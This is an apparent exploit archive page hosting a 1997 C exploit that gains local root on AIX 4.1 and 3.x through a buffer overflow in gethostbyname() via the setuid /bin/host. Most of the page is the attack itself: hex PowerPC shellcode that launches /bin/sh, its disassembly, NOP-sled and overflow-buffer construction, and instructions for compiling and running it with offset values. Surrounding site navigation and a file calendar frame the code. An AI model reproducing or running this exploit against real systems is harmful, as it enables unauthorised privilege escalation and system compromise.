exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AIX 4.1 gethostbyname() Local Root

AIX 4.1 gethostbyname() Local Root
Posted Aug 17, 1999

AIX versions 4.1 ,4.x, and 3.x gethostbyname() and /bin/host local root exploit.

tags | paper
SHA-256 | 078223e0cc15496976e5f5eed3ccb736999f49d92b8b3f662506f6bccfa77725

AIX 4.1 gethostbyname() Local Root

Change Mirror Download
/*
AIX 4.1 ,4.?, 3.? gethostbyname() and /bin/host exploit by Georgi
Guninski
---------------------------------------------------------------------------
Standard disclaimer

This program is for educational purpose ONLY. Do not use it without
permission.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of
the information or functionality provided by this program.
Georgi Guninski or any Internet provider bears NO responsibility for
content
or misuse of this program or any derivatives thereof.
By using this program you accept the fact that any damage (dataloss,
system
crash, system compromise, etc.) caused by the use of this program is
not
Georgi Guninski's responsibility.
--------------------------------------------------------------------------
I wrote and tested this program on AIX 4.1 for PowerPC 601 and 604 and
it started
a root shell on 5 machines. It exploits a buffer overflow in
gethostbyname()
(see IBM advisory) and the fact that /bin/host is +s. Probably it may be
modified to work with rlogin,ping,traceroute and others. Possibly this
hole may
be exploited remotely. IBM has released patch for the problem.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
If the program gives you 'Segmentation fault' or 'Illegal instruction',
then
try at least the following arguments:(string
length,offset,kludge1,kludge2)
78 40 1 1
78 40 1 0
78 40 0 0
78 40 0 1
If you get coredump, examine the registers.
The higher 16 bits of TOC and IAR(CTR) should be the values,
printed by the program (the address of execv() ). The last two arguments
are
added to correct some difference (because of carry?,cache? ???).
Sorry for the lame coding.

Compile with: cc -g test.c
try:
./a.out 78 40 1 1
./a.out 78 40 0 0
./a.out 78 40 0 1
./a.out 78 40 0 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Georgi Guninski
Email:
stgun@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
Tel: +359 2 774104

Suggestions,comments and offers are welcome!
11-Jan-97
*/
#include <stdio.h>
#include <stdlib.h>

/*Used only for disassembling*/
void sh2()
{
int junk[0x100];
int s[2];

int toc;
int ctr;

junk[0x100]=0x11;

toc=0xf0192c48;
ctr=0xd0024c0c;

s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
/*Used for testing*/
void buggy(char *s)
{
char a[4];
unsigned int junk[150];
strcpy(a,s);
puts("Over");
if(junk[20])
puts("P");
}
/*The program*/
main(int argc,char **argv)
{
unsigned int junk[300];
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get some stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR changed at runtime
30632c48 ai r3,r3,11336 --CTR changed at runtime should be
kludged
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC changed at runtime
30634c0c ai r3,r3,19468 --TOC changed at runtime should be
kludged
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
3063696e ai r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
30636801 ai r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate /bin/sh with 0
30610438 ai r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP) --prepare to jump
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/

unsigned int buf[600];
unsigned int i,nop,mn;
int max;

unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=1;
int carry2=1;

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if (argv[3]) carry1=atoi(argv[3]);
if (argv[4]) carry2=atoi(argv[4]);
max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argv[2])
mn=atoi(argv[2]);
*((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
0x0000ffff);
/* 1+ because of CARRYFLAG? CACHE?*/
*((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
0x0000ffff);

puts("Test AIX!");
puts("Discovered and coded by G.G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
junk[50]=1;
for(nop=0;nop<mn;nop++)
buf[nop]=0x4ffffb82;/*nop*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen(code)/4-1;
while(i++<max)
{
buf[i]=(unsigned) &buf[nop];
}
buf[i]=0;

for(i=0;i<nop;i++)
buf[i]=(unsigned)&buf[nop];

/**?????????????????***/

for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];

puts("Start...");/*Here we go*/
i=execl("/bin/host","host",(char*)&buf,0);

puts((char*)buf);
printf("%p\n",&buf[nop]);
if (!junk[50]) puts("s");
printf("OK\n");
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close